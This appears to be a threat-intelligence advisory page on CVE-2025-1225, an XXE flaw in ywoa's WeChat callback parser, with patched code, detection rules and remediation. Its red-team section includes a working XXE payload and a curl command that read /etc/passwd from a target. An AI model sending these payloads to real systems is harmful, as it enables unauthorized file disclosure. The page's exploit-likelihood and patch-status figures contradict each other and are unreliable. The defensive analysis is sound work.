☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1225

CVE-2025-1225 XML External Entity in Ywoa
📅 PUBLISHED: 2025-02-12 20:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.38%
👁️
0.38% probability
9.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1225 is a publicly disclosed XML External Entity (XXE) vulnerability in the ywoa application, affecting versions up to and including 2024.07.03. The flaw resides in the extract function of the XMLParse.java file within the WXCallBack interface, allowing remote attackers to exploit XML external entity references. This can lead to unauthorized file reads, internal network scanning, or denial of service. The vendor has released version 2024.07.04 to address the issue, but no official patch advisory from OSV or GitHub is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of exploit details increases risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Java-based application vulnerability in the ywoa project.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows limited information disclosure but does not directly enable code execution or data modification. However, XXE can be chained with other attacks for greater impact.

Deep Dive & Mechanics

The vulnerability is located in the WXCallBack interface, specifically in the extract method of XMLParse.java. This method processes incoming XML data from WeChat callbacks without properly disabling external entity resolution. When the XML parser encounters an external entity reference (e.g., <!ENTITY xxe SYSTEM "file:///etc/passwd">), it resolves the entity and includes its content in the parsed output, leading to information disclosure.

Root Cause: The XML parser is configured with default settings that allow DTD (Document Type Definition) processing and external entity resolution. The extract function does not explicitly disable these features.

Attack Vector: An attacker sends a crafted XML payload to the WXCallBack endpoint. The payload contains an external entity that points to a local file or internal resource. The server processes the XML, resolves the entity, and returns the file content in the response or logs.

Impact:

  • Read arbitrary files from the server (e.g., configuration files, source code).
  • Perform Server-Side Request Forgery (SSRF) to scan internal networks.
  • Cause denial of service via entity expansion (Billion Laughs attack).

Vulnerable vs. Patched Code

Vulnerable Code (ywoa <= 2024.07.03):

// c-main/src/main/java/com/redmoon/weixin/aes/XMLParse.java
public static Object[] extract(String xmltext) throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(xmltext)));
    // ... process document
}

Patched Code (ywoa >= 2024.07.04):

// c-main/src/main/java/com/redmoon/weixin/aes/XMLParse.java
public static Object[] extract(String xmltext) throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    // Disable external entities
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(xmltext)));
    // ... process document
}

Exploitation & Lab Setup

Red Team

Exploit Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Usage: Send the payload to the WXCallBack endpoint (e.g., POST /wx/callback). The server will respond with the contents of /etc/passwd in the XML response.

Lab Setup:

  1. Deploy ywoa version 2024.07.03 in a Docker container.
  2. Expose the WXCallBack endpoint on port 8080.
  3. Use curl to send the exploit:
    curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' http://target:8080/wx/callback
    

Blue Team

Detection:

  • Monitor for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
  • Look for outbound connections to unexpected internal IPs or file read patterns.
  • Use WAF rules to block XML with external entities.

Hunting:

  • Search logs for requests to /wx/callback with unusual XML content.
  • Check for file read attempts (e.g., /etc/passwd, /etc/shadow).

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /wx/callback with XML containing <!DOCTYPE or <!ENTITY.
  • File: Unauthorized reads of /etc/passwd, /etc/shadow, or application configuration files.
  • Logs: XML parsing errors or warnings about external entity resolution.
  • Process: Java process with unusual file access patterns.

Detection Engineering

YARA Rule

rule CVE_2025_1225_XXE_Payload {
    meta:
        description = "Detects XXE payloads targeting ywoa WXCallBack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1225"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+\s*\[/ nocase
        $entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']/ nocase
        $xxe_entity = /&xxe;|&file;|&data;/ nocase
    condition:
        any of them
}

Sigma Rule

title: XXE Exploitation Attempt Against ywoa WXCallBack
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XML external entity injection attempts in HTTP requests to ywoa WXCallBack endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wx/callback'
        cs-content-type: 'application/xml'
    keywords:
        - '<!DOCTYPE'
        - '<!ENTITY'
        - 'SYSTEM'
    condition: selection and keywords
falsepositives:
    - Legitimate XML with DTD declarations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1225 XXE Attempt Against ywoa WXCallBack"; flow:to_server; content:"POST"; http_method; content:"/wx/callback"; http_uri; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; classtype:attempted-information-leak; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade ywoa to version 2024.07.04 or later.
  2. Workaround: If upgrade is not possible, apply a WAF rule to block XML requests containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
  3. Code Fix: Disable DTD processing and external entity resolution in the XML parser as shown in the patched code.
  4. Network: Restrict access to the WXCallBack endpoint to trusted IPs only.
  5. Monitoring: Enable logging and alerting for XML parsing errors and unusual file access patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1225/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.